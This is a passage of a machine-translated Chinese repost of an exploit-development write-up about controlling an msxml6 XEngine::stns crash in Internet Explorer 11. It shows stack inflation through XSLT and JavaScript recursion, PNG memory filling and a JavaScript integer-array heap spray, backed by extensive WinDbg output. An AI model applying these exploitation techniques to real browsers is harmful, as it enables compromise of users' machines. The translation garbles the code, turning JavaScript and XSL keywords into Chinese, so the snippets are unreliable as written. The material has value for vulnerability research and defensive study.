--[ 3 - 控制
在这一点上很明显,唯一合理的方法来控制
漏洞是膨胀堆栈,以便崩溃的指针会
落入可以控制的用户态内存区域:
msxml6!XEngine::stns+0x6:
6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????
0:007>你eip-6
msxml6!XEngine::stns:
6f6f9c7f 8b81b0000000 mov eax,dword ptr [ecx+0B0h]
6f6f9c85 8b5008 mov edx,dword ptr [eax+8]
0:007> dds ecx+b0-2
0d5c9ff0 0532af20
0d5c9ff4 0532b040
0:007> k
ChildEBP RetAddr
0532af18 6f6e60cc msxml6!XEngine::stns+0x6
0532b038 6f6e60cc msxml6!XEngine::frame+0x84
0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84
0532b168 6f75ffb0 msxml6!XEngine::执行+0x1b4
鉴于上面的清单,如果有第二个就好了
XEngine::frame() 调用发生在例如 0x05320300 附近,这将发送
指向 XEngine::stns() 的崩溃指针值 0x0300053a,指向
堆。这要求在易受攻击的过程调用之前,
线程必须进行函数调用和堆栈帧分配
大约 42 KB 的堆栈内存,并且永远不会弹出它们。
--[ 3.1 - 膨胀堆栈 1:XSLT 递归
膨胀堆栈的明显方法是在
堆栈,这应该可以使用任何可用于的动态技术
目标应用程序。我的第一个想法是为此使用 XSLT 本身。
确实,下面的代码,就是经典的Hanoi算法
XSLT 中的实现,将在堆栈上产生大量递归(
作为记录,它甚至可能使用足够大的 $n 对浏览器进行 DoS):
<?xml 版本="1.0"?>
<xsl:stylesheet 版本="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:模板匹配="/">
<xsl:变量名="n">
<xsl:value-of select="//arg/@n"/>
</xsl:变量>
<xsl:element name="hanoi-solve">
<xsl:call-template name="dohanoi">
<xsl:with-param name="n" select="30"/>
<xsl:with-param name="to" select="3"/>
<xsl:with-param name="from" select="1"/>
<xsl:with-param name="使用" select="2"/>
</xsl:调用模板>
</xsl:元素>
</xsl:模板>
<xsl:template name="dohanoi">
<xsl:param name="n"/>
<xsl:param name="to"/>
<xsl:param name="来自"/>
<xsl:param name="使用"/>
<xsl:if test="number($n) > 0">
<xsl:call-template name="dohanoi">
<xsl:with-param name="n" select="number($n) - 1"/>
<xsl:with-param name="to" select="$using"/>
<xsl:with-param name="from" select="$from"/>
<xsl:with-param name="using" select="$to"/>
</xsl:调用模板>
<xsl:元素名称="移动">
<xsl:attribute name="来自">
<xsl:value-of select="$from"/>
</xsl:属性>
<xsl:attribute name="to">
<xsl:value-of select="$to"/>
</xsl:属性>
</xsl:元素>
<xsl:call-template name="dohanoi">
<xsl:with-param name="n" select="number($n) - 1"/>
<xsl:with-param name="to" select="$to"/>
<xsl:with-param name="from" select="$using"/>
<xsl:with-param name="using" select="$from"/>
</xsl:调用模板>
<xsl:for-each select="*">
<xsl:apply-templates/>
</xsl:for-each>
</xsl:if>
</xsl:模板>
<xsl:template name="xxx_nonexistent" match="//xxx[position()]" />
</xsl:样式表>
遗憾的是,基于 XSLT 的递归将堆栈膨胀到上方而不是下方
崩溃指针源堆栈帧,因此递归不会
完全影响崩溃的上下文:
ChildEBP RetAddr
0ed783e8 711b60cc msxml6!XEngine::stns
0ed78588 711b60cc msxml6!XEngine::frame+0x84
0ed78728 711b60cc msxml6!XEngine::frame+0x84
0ed788c8 711b60cc msxml6!XEngine::frame+0x84
0ed78a68 711b60cc msxml6!XEngine::frame+0x84
0ed78c08 711b60cc msxml6!XEngine::frame+0x84
0ed78da8 711b60cc msxml6!XEngine::frame+0x84
; 跳过了许多帧()
0ed7b5e8 msxml6!XEngine::frame+0x84
; --> 易受攻击的堆栈帧 <--
0ed7b668 711c3e2d msxml6!XEngine::frame+0x84
0ed7b710 7122ffb0 msxml6!XEngine::execute+0x1b4
0ed7b76c 7122fee3 msxml6!XUtility::executeXCode+0x90
0ed7b7c0 7122fe2b msxml6!XUtility::transformNode+0x4a
0ed7b82c 7122fda2 msxml6!DOMNode::transformNode+0xa6
...
--[ 3.2 - 膨胀堆栈 2:JavaScript 递归
在 XSLT 递归失败后,我转而使用 JavaScript。这
遵循简单的阶乘实现将产生大量
堆栈上的递归:
函数阶乘(n){
如果(n == 0){
扳机();
返回 1
} 别的 {
返回 n * 阶乘(n - 1);
}
}
...
<body onload="factorial(63)">
该漏洞必须从递归代码中触发
为了享受膨胀的堆栈情况:
msxml6!XEngine::stns+0x6:
711c9c85 mov edx,dword ptr [eax+8] ds:0023:03a004ca=????????
0:005> !address eax
用法:页面堆
基地地址:03961000
结束地址:03a60000
区域大小:000ff000
状态:00002000 MEM_RESERVE
保护:<目标中不存在信息>
类型:00020000 MEM_PRIVATE
分配基数:03960000
分配保护:00000001 PAGE_NOACCESS
更多信息:!heap -p 0x3541000
更多信息:!heap -p -a 0x3a004c2
0:005> !堆
索引地址名称调试选项已启用
1:016a0000
2:015e0000
3:00010000
4:019f0000
5: 03720000 < 登陆这里
6:06470000
7:06900000
8:06cd0000
9:07cb0000
10: 07dd0000
11: 09380000
12:07d60000
13:0c500000
14:0c670000
15:0cd30000
这次访问了一个有效的用户空间地址,并且访问冲突
仅仅是由于地址上没有繁忙的分配造成的。
根据多次测试的观察结果,线程
堆栈总是从略低于内存页边缘的位置开始:
测试1:
0532fbbc 00000000 ntdll!_RtlUserThreadStart+0x1b
测试2:
04d7fd34 00000000 ntdll!_RtlUserThreadStart+0x1b
测试3:
04a5ffd8 00000000 ntdll!_RtlUserThreadStart+0x1b
测试4:
055bfe80 00000000 ntdll!_RtlUserThreadStart+0x1b
更准确地说,堆栈开始的确切地址是
变量在大约 0x600 字节的范围内,指针也是如此
基于堆栈的变量;因此,崩溃指针将通过
x86系统上为0x06000000,表示初始无效内存
访问将在 100 Mb 内的随机内存地址上观察到
内存范围。
此时我们有两个单独的问题:首先,要快速填写
至少 200-300 Mb 的内存和受控数据(需要 100 Mb 才能捕获
初始内存访问,加上二级指针的空间
取消引用填充,加上对分配地址的一些补偿
可变性),其次,将崩溃指针指向特定的
那个记忆的区域。
请注意,尽管堆喷射被认为是一种不好的做法
原因,并且它在 64 位上即使不是不可能也受到高度限制
系统有 128G 的内存空间来填充,但我们的性质
漏洞不允许替代方法。所以,让我们只是
把它当作巧妙处理任何事物的练习。
--[ 3.4 - 填充内存1:图像
因为必须控制的内存区域比较大,我的
最初的想法是利用一些预先计算好的大物体进行填充
它,例如图像。这个想法的核心是,每一条数据
可以被目标应用程序消费和处理(例如输出
或渲染)在目标进程中有它的位置和表示
记忆。这样想我们不会陷入刻板印象
“堆喷射”和与之相关的特定技术,许多
这已经在浏览器中得到缓解。
在漏洞开发中使用图形图像的想法不是
新的。它于 2006 年由 Sutton 等人 [3] 首次引入,他们的研究
主要关注图像中 shellcode 隐写术的美学
而不是解决堆喷射的任何问题(因为没有
当时)。后来,一些研究人员在
堆喷射的上下文,但它从未找到真正的应用程序,
主要是因为位图(作为唯一能够合并
字节模式'原样')是巨大的,只能在帮助下缩小
服务器端措施,同时使用其他图像格式进行内存控制
目的背负着再压缩的计算问题。
除了服务器端 GZIP 压缩之外,另一种解决方案
公开指出的是PNG。PNG压缩非常简单,不
影响整个位图结构。结果,2Mb BMP 图像
包含一个简单的 1 字节模式可以转换为 ~500 字节的 PNG
图像,将被解压缩回原始位图中的
渲染进程内存。
然而有两个问题:
1. 源位图模式的变量越多,越大
生成的PNG图像;任何压缩的自然限制。
2.解压后的PNG在位图数据中有多余的字节,注入后
原始位图的每 3 个字节。这可能是一个透明渠道
或其他一些特定于 PNG 格式的数据。
好消息:
1.在PNG图片被加载和解压的时候
浏览器但尚未显示在网页上的位图数据
进程内存完全对应于源 BMP。
2. 一张大图被映射成一个相对大且连续的块
内存,位于某种可预测的内存偏移处。
PNG喷涂技术被证明不适合这种特殊情况
情况,因为需要高度可变的内存填充模式,
所以无论如何图像都必须太大。不过看起来还是
就像一种有趣的技术,可以快速填充巨大的内存区域
一个简单的字节模式。
--[ 3.5 - 填充内存2:整数
在测试了各种内存填充技术后,我终于确定了
整数数组。以下 JavaScript 代码将快速填充 400Mb
Internet Explorer 11 的内存与连续的常量双字喷射:
var intArr = 新数组;
变量计数 = (0x19000000-0x20)/4;
intArr[0] = 0x01c0ffee;// 标记 // s 0 l?80000000 ee ff c0 01
for(var i=1; i<=count; i++)
intArr[i] = 0x17151715;
警报(“完成”);
奇怪的是,改变喷洒循环中的值可能
有时会在 IE 中导致内部异常,例如在尝试填充时
超过 400 Mb 的浏览器内存,或使用“AAAA”整数
相当于填充物。这看起来像是对堆的保护
喷洒,但不会对任务构成重大障碍。
产生的内存填充分布在两个大而连续的
分配如下:
0:028> s 0 l?80000000 ee ff c0 01
0531b4f0 ee ff c0 01 f8 ff ff ff-00 00 00 00 00 00 00 00 ......
; 只是标记 dword,不相关
08391860 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
; <0x200 字节块,不相关
085dd0d8 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
; <0x10 字节块,不相关
085de510 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
; <0x200 字节块,不相关
12da5a18 ee ff c0 01 e3 ff c0 01-ce ff c3 01 b8 ff cc 01 ......
; 随机垃圾
2c540020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
; 数组,第 1 部分
3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
; 数组,第 2 部分
第一次分配看起来根本没有完成,停在 300Mb 左右,
而第二个分配已满,并且它们都是连续的:
0:028> s 0 l?80000000 ee ff c0 01
...
2c540020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
0:028> ? 3eec0020-2c540020
评估表达式:311951360 = 12980000
0:028>分贝2c540020+12980000-30
; 这是第一次和第二次分配之间的界限
3eebff0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......
3eec0000 00 00 00 00 90 c4 fb 1e-00 00 00 00 00 00 00 00 ......
3eec0010 00 00 00 00 f9 ff 3f 06-20 f1 是 07 00 00 00 00 ......?……
3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
3eec0030 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3eec0040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3eec0050 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3eec0060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
0:028>分贝2c540020+12000000
; 第一次分配的结束在大小之间
; 12000000 和 12980000
3e540020 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540030 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540050 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540070 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540080 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
3e540090 15 17 15 17 15 17 15 17-15 17 15 17 15
;第二次分配:
0:028> db 3eec0020+19000000
; 分配结束后的指针
57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0070 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0080 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0090 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
0:028> db 3eec0020+19000000-30
; 第二次分配结束
57ebfff0 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
57ec0000 15 17 15 17 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0010 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。